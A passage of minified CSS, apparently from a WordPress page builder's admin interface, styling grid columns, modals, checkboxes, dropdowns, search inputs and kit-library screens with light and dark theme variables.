/ 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xxl-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xxl-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xxl-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xxl-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xxl-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xxl-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xxl-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xxl-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xxl-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xxl-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xxl-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } :root { --menu-title-color: #515962; } .eps-theme-dark { --menu-title-color: #515962; } .eps-menu ul { list-style: none; padding: 0; margin: 0; } .eps-menu ul li { display: flex; } .eps-menu__title { padding: 0.5rem 1.875rem; font-size: 0.6875rem; line-height: 1.2; text-transform: uppercase; font-weight: normal; color: var(--menu-title-color); } :root { --eps-modal-background-color: #ffffff; --eps-modal-header-background-color: #2563EB; --eps-tip-background-color: #F0F7FF; } .eps-theme-dark { --eps-modal-background-color: #0C0D0E; --eps-modal-header-background-color: #0077CC; --eps-tip-background-color: #0A1A3D; } /** ---------------------------------------------------------------- EPS Modal ---------------------------------------------------------------- */ .eps-modal { max-width: 43.75rem; background: var(--eps-modal-background-color); border-radius: 0.1875rem; animation: eps-animation-pop 0.15s cubic-bezier(0.57, 0.53, 0.71, 1.47) forwards; } .eps-modal__overlay { background: rgba(0, 0, 0, 0.5); position: fixed; display: flex; top: 0; right: 0; width: 100%; height: 100%; align-items: center; justify-content: center; z-index: 1030; } .eps-modal__header { font-size: 0.875rem; background: var(--eps-modal-header-background-color); height: 2.75rem; padding: 0.625rem 1rem; border-radius: 0.1875rem; } .eps-modal__header, .eps-modal__header .title { color: #ffffff; } .eps-modal__icon { margin-inline-end: 0.625rem; } .eps-modal__body { padding: 1.875rem; } .eps-modal__tip, .eps-modal .eps-tip { padding: 0.5rem; padding-inline-start: 0.75rem; border-inline-start: 3px solid #2563EB; background-color: var(--eps-tip-background-color); } .eps-modal__tip:not(:last-child), .eps-modal .eps-tip:not(:last-child) { margin-block-end: 1.875rem; } .eps-modal__tip:not(:first-child), .eps-modal .eps-tip:not(:first-child) { margin-block-start: 1.875rem; } .eps-modal__section:not(:first-child) { margin-block-start: 1.875rem; } .eps-modal__close-wrapper { padding-inline-start: 1rem; border-inline-start: solid 1px #ffffff; } .eps-add-new-button { display: inline-flex; --eps-add-new-button-size: 1.5rem; line-height: var(--eps-add-new-button-size); cursor: pointer; } .eps-add-new-button .eps-icon { background-color: #F3BAFD; color: #0C0D0E; width: var(--eps-add-new-button-size); height: var(--eps-add-new-button-size); border-radius: 100%; font-size: calc(var(--eps-add-new-button-size) * 0.75); text-align: center; line-height: var(--eps-add-new-button-size); } .eps-add-new-button span:not(.sr-only) { margin-inline-start: 0.625rem; font-weight: 500; } .eps-add-new-button--sm { --eps-add-new-button-size: 1rem; } :root { --select2-selection-background-color: #ffffff; --select2-selection-color: #515962; --select2-selection-border-color: #9DA5AE; --select2-selection-opened-focused-border-color: #BABFC5; --select2-single-selection-rendered-color: #515962; --select2-default-single-selection-background-color: #ffffff; --select2-default-single-selection-border-color: #9DA5AE; --select2-default-multiple-selection-background-color: #ffffff; --select2-default-multiple-selection-choice-background-color: #BABFC5; --select2-default-multiple-selection-choice-color: #515962; --select2-default-multiple-selection-choice-border-color: #BABFC5; --select2-default-multiple-selection-choice-remove-color: #69727D; --select2-default-multiple-selection-choice-remove-hover-color: #515962; --select2-default-results-selected-option-background-color: #ffffff; --select2-default-results-selected-option-color: #515962; --select2-default-results-highlighted-option-background-color: #5897fb; --select2-default-results-highlighted-option-color: #ffffff; --select2-results-selected-option-background-color: #5897fb; --select2-results-selected-option-color: #ffffff; --select2-dropdown-background-color: #ffffff; --select2-dropdown-border-color: #9DA5AE; } .eps-theme-dark { --select2-selection-background-color: #3f444b; --select2-selection-color: #D5D8DC; --select2-selection-border-color: #818A96; --select2-selection-opened-focused-border-color: #9DA5AE; --select2-single-selection-rendered-color: #D5D8DC; --select2-default-single-selection-background-color: #3f444b; --select2-default-single-selection-border-color: #69727D; --select2-default-multiple-selection-background-color: #3f444b; --select2-default-multiple-selection-choice-background-color: #69727D; --select2-default-multiple-selection-choice-color: #D5D8DC; --select2-default-multiple-selection-choice-border-color: #69727D; --select2-default-multiple-selection-choice-remove-color: #BABFC5; --select2-default-multiple-selection-choice-remove-hover-color: #D5D8DC; --select2-default-results-selected-option-background-color: #3f444b; --select2-default-results-selected-option-color: #D5D8DC; --select2-default-results-highlighted-option-background-color: #69727D; --select2-default-results-highlighted-option-color: #D5D8DC; --select2-results-selected-option-background-color: #69727D; --select2-results-selected-option-color: #D5D8DC; --select2-dropdown-background-color: #3f444b; --select2-dropdown-border-color: #818A96; } .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single, .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple { background-color: var(--select2-selection-background-color); color: var(--select2-selection-color); border-color: var(--select2-selection-border-color); } .select2-container.select2-container--open .select2-selection--single, .select2-container.select2-container--open .select2-selection--multiple, .select2-container.select2-container--focus .select2-selection--single, .select2-container.select2-container--focus .select2-selection--multiple { border-color: var(--select2-selection-opened-focused-border-color); } .select2-container.select2-container--default .select2-selection--single .select2-selection__rendered { color: var(--select2-single-selection-rendered-color); } .select2-container--default .select2-selection--single { background-color: var(--select2-default-single-selection-background-color); border-color: var(--select2-default-single-selection-border-color); } .select2-container--default .select2-selection--multiple { background-color: var(--select2-default-multiple-selection-background-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: var(--select2-default-multiple-selection-choice-background-color); color: var(--select2-default-multiple-selection-choice-color); border-color: var(--select2-default-multiple-selection-choice-border-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: var(--select2-default-multiple-selection-choice-remove-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: var(--select2-default-multiple-selection-choice-remove-hover-color); } .select2-container--default .select2-results__option[aria-selected] { background-color: var(--select2-default-results-selected-option-background-color); color: var(--select2-default-results-selected-option-color); } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: var(--select2-default-results-highlighted-option-background-color); color: var(--select2-default-results-highlighted-option-color); } .select2-container .select2-results__option[aria-selected=true] { background-color: var(--select2-results-selected-option-background-color); color: var(--select2-results-selected-option-color); } .select2-container .select2-dropdown { background-color: var(--select2-dropdown-background-color); border-color: var(--select2-dropdown-border-color); } .eps-notice { --eps-box-notice-background-color: #F1F2F3; padding: 0.625rem 1rem; } .eps-notice-semantic { border-inline-start: 3px solid var(--eps-notice-semantic-color); background-color: var(--eps-notice-semantic-bg); } .eps-notice-semantic .eps-notice__icon { color: var(--eps-notice-semantic-color); font-size: 1rem; margin-inline-end: 0.75rem; } .eps-notice--warning { --eps-notice-semantic-color: #F59E0B; --eps-notice-semantic-bg: #FFFBEB; } .eps-notice--danger { --eps-notice-semantic-color: #DC2626; --eps-notice-semantic-bg: #FEF1F4; } .eps-notice--info { --eps-notice-semantic-color: #2563EB; --eps-notice-semantic-bg: #F0F7FF; } .eps-notice__text { margin: 0; padding: 0; } .eps-notice__button-container { flex-shrink: 0; margin-inline-start: 1.25rem; width: auto; } .eps-theme-dark .eps-notice { --eps-box-notice-background-color: #515962; } .eps-theme-dark .eps-notice--warning { --eps-notice-semantic-bg: #311808; } .eps-theme-dark .eps-notice--danger { --eps-notice-semantic-bg: #390A0A; } .eps-theme-dark .eps-notice--info { --eps-notice-semantic-bg: #0A1A3D; } .eps-list { --eps-list-item-separated-border-color: #BABFC5; padding: 0; margin: 0; border-radius: 0.1875rem; border: 1px solid var(--e-a-border-color); list-style-type: none; } .eps-list--padding { padding: var(--eps-list-padding); } .eps-list__item { padding: 0; } .eps-list__item--padding { padding: var(--eps-list-item-padding); } .eps-list--separated .eps-list__item:not(:last-child) { border-block-end: 1px solid var(--eps-list-item-separated-border-color); } .eps-theme-dark .eps-list { --eps-list-item-separated-border-color: #3f444b; } :root { --popover-background-color: #ffffff; --popover-item-color: #515962; --popover-item-hover-color: #3f444b; --popover-item-danger-hover-color: #DC2626; --popover-item-background-color: #ffffff; --popover-box-shadow-color: rgba(0, 0, 0, 0.15); --popover-box-shadow-size: 0px 1px 20px; --popover-arrow-color: #ffffff; } .eps-theme-dark { --popover-background-color: #1f2124; --popover-item-color: #ffffff; --popover-item-hover-color: #D5D8DC; --popover-item-danger-hover-color: #F84343; --popover-item-background-color: #1f2124; --popover-box-shadow-color: rgba(0, 0, 0, 0.15); --popover-box-shadow-size: 0px 1px 20px; --popover-arrow-color: #1f2124; } .eps-popover { padding: 10px 0; background-color: var(--popover-background-color); box-shadow: var(--popover-box-shadow-size) var(--popover-box-shadow-color); list-style: none; display: flex; flex-direction: column; min-width: 120px; border-radius: 0.1875rem; position: absolute; z-index: 1050; margin-block-start: 9px; transform: translateX(-50%); right: 0.25rem; } .eps-popover__background { position: fixed; top: 0; bottom: 0; right: 0; left: 0; z-index: 1030; } .eps-popover__container { position: relative; } .eps-popover::before { content: ""; display: block; position: absolute; width: 16px; height: 9px; margin: 0 0.1875rem 9px; top: -9px; right: 50%; transform: translateX(-50%); border-color: transparent; border-style: solid; border-width: 0 calc(16px / 2) 9px calc(16px / 2); border-block-end-color: var(--popover-arrow-color); } .eps-popover__item { padding: 0.3125rem 1rem; background-color: var(--popover-item-background-color); color: var(--popover-item-color); font-size: 0.6875rem; font-weight: 500; line-height: 0.8125rem; width: 100%; align-items: center; cursor: pointer; } .eps-popover__item:hover { color: var(--popover-item-hover-color); } .eps-popover__item--danger:hover { color: var(--popover-item-danger-hover-color); } .eps-popover__item .eps-icon { font-size: inherit; margin-inline-end: 0.3125rem; } .eps-css-grid { display: grid; grid-template-columns: repeat(var(--eps-grid-columns, auto-fill), minmax(var(--eps-grid-col-min-width, 1fr), var(--eps-grid-col-max-width, 1fr))); grid-gap: var(--eps-grid-spacing); } .eps-box { --eps-box-color: #1f2124; --eps-box-input-color: #1f2124; padding: 0; border-radius: 0.1875rem; color: var(--eps-box-color); } .eps-box--padding { padding: var(--eps-box-padding); } .eps-box > input { width: 100%; outline: 0; border: 0; background-color: transparent; color: var(--eps-box-input-color); } .eps-theme-dark .eps-box { --eps-box-color: #D5D8DC; --eps-box-input-color: #D5D8DC; } :root { --checkbox-border-color: #9DA5AE; --checkbox-hover-border-color: #8f98a2; --checkbox-active-border-color: #abb2ba; --checkbox-background-color: #ffffff; --checkbox-checked-background-color: #515962; --checkbox-checked-hover-background-color: #454c54; --checkbox-checked-active-background-color: #5d6670; --checkbox-checked-disabled-background-color: #D5D8DC; --checkbox-indicator-color: #ffffff; --checkbox-error-background-color: #DC2626; } .eps-theme-dark { --checkbox-background-color: transparent; } .eps-checkbox { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 0.1875rem; width: 15px; height: 15px; outline: 0; background-color: var(--checkbox-background-color); display: inline-flex; justify-content: center; align-items: center; border: 1px solid var(--checkbox-border-color); } .eps-checkbox::after { display: inline-block; margin-block-end: calc(0.25 / 2 * 100%); content: " "; width: 3px; height: 6px; transform: rotate(45deg); } .eps-checkbox:hover { --checkbox-border-color: var(--checkbox-hover-border-color); } .eps-checkbox:active { --checkbox-border-color: var(--checkbox-active-border-color); } .eps-checkbox:checked { --checkbox-background-color: var(--checkbox-checked-background-color); --checkbox-border-color: var(--checkbox-checked-background-color); } .eps-checkbox:checked::after { border: solid #ffffff; border-width: 0 1px 1px 0; } .eps-checkbox:checked:hover { --checkbox-background-color: var(--checkbox-checked-hover-background-color); --checkbox-border-color: var(--checkbox-checked-hover-background-color); } .eps-checkbox:checked:active { --checkbox-background-color: var(--checkbox-checked-active-background-color); --checkbox-border-color: var(--checkbox-checked-active-background-color); } .eps-checkbox:checked:disabled { --checkbox-background-color: var(--checkbox-checked-disabled-background-color); --checkbox-border-color: var(--checkbox-checked-disabled-background-color); } .eps-checkbox--rounded { border-radius: 50%; } .eps-checkbox--indeterminate { --checkbox-background-color: var(--checkbox-checked-background-color); --checkbox-border-color: var(--checkbox-checked-background-color); } .eps-checkbox--indeterminate::after { display: inline-block; margin-block-end: 0; content: " "; width: 7px; height: 0; transform: rotate(0deg); border-block-start: 1px solid #ffffff; } .eps-checkbox--error::before, .eps-checkbox--error::after, .eps-checkbox--error:checked::before, .eps-checkbox--error:checked::after { display: inline-block; margin-block-end: 0; content: " "; width: 7px; height: 0; border: solid #ffffff; border-width: 1px 0 0 0; position: absolute; } .eps-checkbox--error::before, .eps-checkbox--error:checked::before { transform: rotate(45deg); } .eps-checkbox--error::after, .eps-checkbox--error:checked::after { transform: rotate(-45deg); } .eps-checkbox--error, .eps-checkbox--error:hover, .eps-checkbox--error:checked, .eps-checkbox--error:checked:hover { --checkbox-background-color: var(--checkbox-error-background-color); --checkbox-border-color: var(--checkbox-error-background-color); } :root { --e-app-drag-drop-background-color: #ffffff; --e-app-drag-drop-outline-color: #E6E8EA; } .eps-theme-dark { --e-app-drag-drop-background-color: #2b2c31; --e-app-drag-drop-outline-color: #333438; } .e-app-drag-drop { background-color: var(--e-app-drag-drop-background-color); outline: 2px dashed var(--e-app-drag-drop-outline-color); outline-offset: -0.75rem; margin-block-end: 1.5rem; padding: 4.125rem; text-align: center; } .e-app-drag-drop--drag-over { outline-color: #2563EB; } .eps-dialog { border-radius: 3px; width: 375px; } .eps-dialog__close-button { position: absolute; top: -2.75rem; left: -2.75rem; margin-block-start: 0.625rem; margin-inline-end: 0.625rem; z-index: 1040; font-size: 1.25rem; color: #ffffff; } .eps-dialog__content { padding: 1.5rem 1.875rem 1rem; font-size: 0.75rem; } .eps-dialog__title, .eps-dialog__text { text-align: center; } .eps-dialog__buttons { display: flex; } .eps-dialog__button { flex: 1; border-block-start: 1px solid var(--hr-color); line-height: 2.75rem; text-align: center; justify-content: center; } .eps-dialog__button:last-child:not(:first-child) { border-inline-start: 1px solid var(--hr-color); } .e-app__popover { display: none; position: absolute; box-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); border-radius: 6px; padding: 20px; width: -moz-fit-content; width: fit-content; z-index: 999; background-color: var(--e-a-bg-default); } .e-app__popover:before { content: ""; position: absolute; top: -16px; left: var(--popover-arrow-offset-end, 22px); border: 8px solid transparent; border-block-end-color: #fff; } .eps-inline-link { color: var(--eps-inline-link-color); background-color: initial; border: 0; padding: 0; } .eps-inline-link--color-primary { --eps-inline-link-color: #0A875A; } .eps-inline-link--color-secondary { --eps-inline-link-color: #818A96; } .eps-inline-link--color-danger { --eps-inline-link-color: #DC2626; } .eps-inline-link--color-cta { --eps-inline-link-color: #93003f; } .eps-inline-link--color-link { --eps-inline-link-color: #515962; } .eps-inline-link--color-disabled { --eps-inline-link-color: #D5D8DC; } .eps-inline-link--underline-hover:hover, .eps-inline-link--underline-always, .eps-inline-link--underline-always:hover { text-decoration: underline; } .eps-inline-link--italic { font-style: italic; } .eps-inline-link, .eps-inline-link:focus { outline: none; } .eps-text-field { --eps-text-field-color: #515962; --eps-text-field-background-color: transparent; --eps-text-field-placeholder-color: #69727D; --eps-text-field-outlined-border-color: #9DA5AE; --eps-text-field-outlined-focus-border-color: #515962; width: 100%; color: var(--eps-text-field-color); background-color: var(--eps-text-field-background-color); border: 0; margin-block-end: 5px; outline: none; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-text-field--outlined { border-radius: 0.1875rem; border: 1px solid var(--eps-text-field-outlined-border-color); padding: 0.625rem; } .eps-text-field--outlined:focus { border-color: var(--eps-text-field-outlined-focus-border-color); } .eps-text-field::-moz-placeholder { color: var(--eps-text-field-placeholder-color); font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-text-field::placeholder { color: var(--eps-text-field-placeholder-color); font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; } .eps-theme-dark .eps-text-field { --eps-text-field-color: #BABFC5; --eps-text-field-background-color: transparent; --eps-text-field-placeholder-color: #9DA5AE; --eps-text-field-outlined-border-color: #3f444b; --eps-text-field-outlined-focus-border-color: #9DA5AE; } .eps-theme-dark--outlined { border-color: var(--eps-text-field-outlined-border-color); } .eps-theme-dark--outlined:focus { border-color: var(--eps-text-field-outlined-focus-border-color); } .e-app-import-export-content-layout { display: flex; justify-content: center; height: 100%; } .e-app-import-export-content-layout__container { flex-basis: 1075px; } .e-app-export-complete__kit-content-title { margin: 2.75rem 0 0.625rem; } .e-app-export-kit-content { --e-app-export-kit-content-title-color: #3f444b; --e-app-export-kit-content-description-color: #515962; --e-app-export-kit-content-sm-notice-color: #BABFC5; } .e-app-export-kit-content__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-export-kit-content__title { color: var(--e-app-export-kit-content-title-color); } .e-app-export-kit-content__description { color: var(--e-app-export-kit-content-description-color); margin-inline-end: 1.25rem; } .e-app-export-kit-content__notice { margin-block-start: 1rem; } .e-app-export-kit-content__small-notice { font-style: italic; color: var(--e-app-export-kit-content-sm-notice-color); } .eps-theme-dark .e-app-export-kit-content { --e-app-export-kit-content-title-color: #D5D8DC; --e-app-export-kit-content-description-color: #BABFC5; --e-app-export-kit-content-sm-notice-color: #818A96; } .e-app-import-export-kit-data { --e-app-import-export-kit-data-site-area-color: #3f444b; --e-app-import-export-kit-data-included-color: #69727D; } .e-app-import-export-kit-data__site-area, .e-app-import-export-kit-data__included { margin-block-end: 0; } .e-app-import-export-kit-data__site-area { color: var(--e-app-import-export-kit-data-site-area-color); font-weight: bold; } .e-app-import-export-kit-data__included { color: var(--e-app-import-export-kit-data-included-color); } .eps-theme-dark .e-app-import-export-kit-data { --e-app-import-export-kit-data-site-area-color: #BABFC5; --e-app-import-export-kit-data-included-color: #9DA5AE; } .e-app-import-resolver { --e-app-import-resolver-panel-header-background-color: #ffffff; --e-app-import-resolver-panel-body-background-color: rgba(255, 255, 255, 0.5); --e-app-import-resolver-conflicts-asset-border-color: #818A96; --e-app-import-resolver-conflicts-asset-inactive-color: #69727D; padding-block-end: 1.25rem; } .e-app-import-resolver__notice { margin-block-end: 1.25rem; } .e-app-import-resolver__panel, .e-app-import-resolver__panel:hover { background-color: initial; } .e-app-import-resolver__panel-header { background-color: var(--e-app-import-resolver-panel-header-background-color); } .e-app-import-resolver__panel-body { background-color: var(--e-app-import-resolver-panel-body-background-color); } .e-app-import-resolver-conflicts__container { box-shadow: 0 2px 3px 1px var(--color-box-shadow-color); } .e-app-import-resolver-conflicts__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-import-resolver-conflicts__title { line-height: 1; } .e-app-import-resolver-conflicts__asset:not(:first-child) { border-inline-start: 2px solid var(--e-app-import-resolver-conflicts-asset-border-color); padding-inline-start: 1rem; margin-inline-start: 1rem; } .e-app-import-resolver-conflicts__asset:not(.active) { color: var(--e-app-import-resolver-conflicts-asset-inactive-color); } .e-app-import-resolver-conflicts__edit-template { margin-inline-start: 0.3125rem; } .eps-theme-dark .e-app-import-resolver { --e-app-import-resolver-panel-header-background-color: #69727D; --e-app-import-resolver-panel-body-background-color: rgba(0, 0, 0, 0.05); --e-app-import-resolver-conflicts-asset-border-color: #818A96; --e-app-import-resolver-conflicts-asset-inactive-color: #9DA5AE; } .eps-panel { --eps-panel-header-background-color: transparent; --eps-panel-body-background-color: transparent; } .eps-panel, .eps-panel:hover { background-color: initial; } .eps-panel__header { background-color: var(--eps-panel-header-background-color); border-radius: 0.1875rem; } .eps-panel__body { background-color: var(--eps-panel-body-background-color); border-radius: 0 0 0.1875rem 0.1875rem; } .eps-theme-dark .eps-panel { --eps-panel-header-background-color: transparent; --eps-panel-body-background-color: transparent; } .e-app-export-kit { padding-block-end: 1.25rem; } .e-app-export-kit-information { margin-block-start: 1.25rem; } .e-app-export-kit-information__field-header { margin-block-end: 0.625rem; } .e-app-export-kit-information__label { margin: 0; } .e-app-export-kit-information__info-icon { margin-inline-start: 0.625rem; } .e-app-export-kit-info-modal__icon { padding-inline-start: 0.625rem; } .e-app-export-kit-info-modal__heading { margin-block-end: 1.25rem; } .e-app-import-export-info-modal__section:not(:first-child) { margin-block-start: 1.875rem; } .e-app-import-export-info-modal__heading { margin-block-end: 1.25rem; } :root { --eps-badge-background-color: #ffffff; } .eps-theme-dark { --eps-badge-background-color: #515962; } .eps-badge { display: inline-block; background: var(--eps-badge-background-color); padding: 0 0.5rem; line-height: 1.8; box-shadow: 0 3px 6px var(--color-box-shadow-color); border-radius: 4px; font-size: 0.75rem; } .eps-badge--sm { font-size: 0.625rem; border-radius: 3px; padding: 0 0.3125rem; line-height: 1.5; } .eps-collapse__title { cursor: pointer; padding: 0.3125rem 0; display: flex; align-items: center; justify-content: space-between; width: 100%; background: transparent; border: none; color: inherit; } .eps-collapse__title:focus { outline: none; } .eps-collapse__icon { transition: all 150ms; transform: rotate(180deg); } .eps-collapse__content { margin-block-start: 0.625rem; display: none; } .eps-collapse[data-open] .eps-collapse__content { display: block; } .eps-collapse[data-open] .eps-collapse__icon { transform: rotate(90deg); } .e-kit-library-promotion { --e-kit-library-promotion-color: tints(600); } .eps-theme-dark .e-kit-library-promotion { --e-kit-library-promotion-color: dark-tints(400); } .e-kit-library-promotion { width: 100%; text-align: center; margin-block-start: 1.875rem; color: var(--e-kit-library-promotion-color); } .e-kit-library__error-screen { margin-block-start: 2.75rem; } .e-kit-library__error-screen-title { margin-block-start: 2.75rem; margin-block-end: 0; } .e-kit-library__error-screen-description { margin-block-start: 1.5rem; color: #69727D; text-align: center; max-width: 520px; } .e-kit-library__kit-favorite-actions { padding: 0.3125rem; transition: 0.3s all; border-radius: 4px; } .e-kit-library__kit-favorite-actions--active { color: #DC2626; } .e-kit-library__kit-favorite-actions--loading { opacity: 50%; cursor: default; } .e-kit-library__kit-favorite-actions:hover { background-color: rgba(220, 38, 38, 0.1); } .e-kit-library__filter-indication { margin-block-start: 1.5rem; display: flex; align-items: center; } .e-kit-library__filter-indication-text { margin-block-end: 0; display: flex; align-items: center; } .e-kit-library__filter-indication-badge { margin-inline-start: 0.3125rem; display: flex; align-items: center; } .e-kit-library__filter-indication-badge-remove { margin-inline-start: 0.3125rem; font-size: 0.875rem; } .e-kit-library__filter-indication-button { margin-inline-start: 1.5rem; } #eps-app-header-btn-apply, #eps-app-header-btn-promotion, #eps-app-header-btn-connect { margin-inline-start: 0.625rem; margin-inline-end: 0.625rem; } .e-kit-library__apply-button { display: flex; align-items: center; justify-content: center; gap: 0.3125rem; } .e-kit-library__kit-item { --e-kit-library-kit-item-overlay-promotion-button-background-color: #D5D8DC; } .eps-theme-dark .e-kit-library__kit-item { --e-kit-library-kit-item-overlay-promotion-button-background-color: #515962; } .e-kit-library__kit-item-overlay { height: 100%; } .e-kit-library__kit-item-overlay > *:first-child { flex: 1; } .e-kit-library__kit-item-overlay-overview-button { display: flex; flex-direction: column; align-items: center; justify-content: center; color: white; height: 100%; width: 100%; } .e-kit-library__kit-item-overlay-overview-button > i { font-size: 2rem; margin-block-end: 5px; } .e-kit-library__kit-item-overlay-overview-button > span { font-size: 0.9rem; } .e-kit-library__kit-item-overlay-promotion-button { display: flex; width: 100%; background: white; align-items: center; justify-content: center; padding: 10px; font-size: 13px; color: #93003f; background: var(--e-kit-library-kit-item-overlay-promotion-button-background-color); } .e-kit-library__kit-item-overlay-promotion-button > * { margin: 0 3px; } .e-kit-library__kit-item-subscription-plan-badge { position: absolute; top: 0; left: 0; margin: 0.3125rem; background-color: var(--e-a-color-brand); color: #ffffff; text-transform: uppercase; } :root { --e-kit-library-header-back-border: 1px solid var(--e-a-border-color); --e-kit-library-header-back-color: #69727D; } .eps-theme-dark { --e-kit-library-header-back-border: 1px solid #818A96; --e-kit-library-header-back-color: #BABFC5; } .e-kit-library__header-back { color: var(--e-kit-library-header-back-color); padding-inline-end: 1.25rem; padding-inline-start: 0.3125rem; display: inline-flex; justify-content: center; align-items: center; height: 100%; border-inline-end: var(--e-kit-library-header-back-border); } .e-kit-library__header-back-container { flex: 1; height: 100%; } .e-kit-library__header-back .eps-icon { transform: rotate(180deg); } .e-kit-library__page-loader { width: 100%; height: 100%; display: grid; place-items: center; font-size: 1.85rem; color: #69727D; } .eps-search-input { --eps-search-input-background-color: #D5D8DC; --eps-search-input-background-color-focus: #ffffff; --eps-search-input-color: #3f444b; --eps-search-input-placeholder-color: #69727D; } .eps-theme-dark .eps-search-input { --eps-search-input-background-color: #515962; --eps-search-input-background-color-focus: #69727D; --eps-search-input-color: #BABFC5; --eps-search-input-placeholder-color: #BABFC5; } .eps-search-input { width: 100%; font-size: 0.9375rem; padding: 0.625rem 2.75rem; border: none; background: var(--eps-search-input-background-color); outline: none; color: var(--eps-search-input-color); line-height: 1; height: 2.75rem; } .eps-search-input--sm { font-size: 0.8125rem; padding: 0.5rem 1.875rem; } .eps-search-input:focus { background: var(--eps-search-input-background-color-focus); } .eps-search-input::-moz-placeholder { color: var(--eps-search-input-placeholder-color); font-style: italic; } .eps-search-input::placeholder { color: var(--eps-search-input-placeholder-color); font-style: italic; } .eps-search-input__container { position: relative; } .eps-search-input__icon { font-size: 1.25rem; padding: 0.625rem; color: #69727D; position: absolute; top: 0; right: 0; height: 100%; display: flex; align-items: center; justify-content: center; } .eps-search-input__icon--sm { font-size: 0.75rem; } .eps-search-input__clear-icon { font-size: 0.875rem; padding: 0.625rem; color: #69727D; position: absolute; top: 0; left: 0; height: 100%; display: flex; align-items: center; justify-content: center; } .eps-search-input__clear-icon--sm { font-size: 0.6875rem; } :root { --eps-sort-select-select-background-color: #D5D8DC; --eps-sort-select-select-color: #3f444b; --eps-sort-select-button-background-color: #D5D8DC; --eps-sort-select-button-border: 1px solid var(--e-a-border-color); } .eps-theme-dark { --eps-sort-select-select-background-color: #515962; --eps-sort-select-select-color: #BABFC5; --eps-sort-select-button-background-color: #515962; --eps-sort-select-button-border: 1px solid #1f2124; } .eps-sort-select { width: 100%; font-size: 0.9375rem; display: flex; } .eps-sort-select__select-wrapper { flex: 1; position: relative; } .eps-sort-select__select-wrapper::after { content: "\e8ad"; font-family: eicons; position: absolute; left: 0.625rem; top: 0; bottom: 0; color: #69727D; display: flex; align-items: center; justify-content: center; pointer-events: none; } .eps-sort-select__select { width: 100%; padding: 0.625rem 0.625rem; border: none; background: var(--eps-sort-select-select-background-color); outline: none; color: var(--eps-sort-select-select-color); line-height: 1; cursor: pointer; height: 2.75rem; -moz-appearance: none; appearance: none; -webkit-appearance: none; border-radius: 0; } .eps-sort-select__button { padding: 0.75rem 0.75rem; background: var(--eps-sort-select-button-background-color); border-inline-start: var(--eps-sort-select-button-border); line-height: 1; color: #69727D; } .e-kit-library__tags-filter { --e-kit-library-tags-filter-list-search-background-color: #ffffff; } .eps-theme-dark .e-kit-library__tags-filter { --e-kit-library-tags-filter-list-search-background-color: #515962; } .e-kit-library__tags-filter { margin-block-start: 2.75rem; } .e-kit-library__tags-filter-list { margin-block-end: 2.75rem; } .e-kit-library__tags-filter-list .eps-collapse__title { padding-inline-end: 1.875rem; padding-inline-start: 1.875rem; text-transform: uppercase; } .e-kit-library__tags-filter-list .eps-collapse__content { margin: 0.3125rem 1.875rem; } .e-kit-library__tags-filter-list-container { max-height: 250px; overflow: auto; } .e-kit-library__tags-filter-list-search { margin-block-end: 0.625rem; } .e-kit-library__tags-filter-list-search .eps-search-input { background: var(--e-kit-library-tags-filter-list-search-background-color); } .e-kit-library__tags-filter-list-item { padding: 0.625rem 0; display: flex; align-items: center; font-weight: 500; } .e-kit-library__tags-filter-list-item input { margin-inline-end: 0.3125rem; } .e-kit-library #eps-app-header-btn-refetch { padding: 0; } .e-kit-library-header-info-modal-container { margin-block-end: 2.75rem; } .e-kit-library__tooltip { padding: 5px 12px; color: #ffffff; background-color: #26292C; font-size: 10px; } .e-kit-library__tooltip:before { border-block-end-color: #26292C; } .e-kit-library__index-layout-container { flex-grow: 1; overflow-y: auto; display: flex; flex-direction: column; } .e-kit-library__index-layout-heading { padding: 1.875rem 2.75rem; position: sticky; top: -1px; width: 100%; z-index: 2; background-color: var(--app-background-color); gap: 1.5rem; } .e-kit-library__index-layout-heading-search, .e-kit-library__index-layout-heading-sort { min-width: 265px; } .e-kit-library__index-layout-heading-search { flex: 1; } .e-kit-library__index-layout-main { padding-block-start: 0; padding-block-end: 1.5rem; overflow-y: hidden; height: auto; flex: 1 0 auto; display: flex; flex-direction: column; justify-content: space-between; } .e-kit-library__tags-filter { --e-kit-library-item-sidebar-header-title-color: #515962; --e-kit-library-item-sidebar-description-color: #515962; --e-kit-library-item-information-text-color: #515962; } .eps-theme-dark .e-kit-library__tags-filter { --e-kit-library-item-sidebar-header-title-color: #BABFC5; 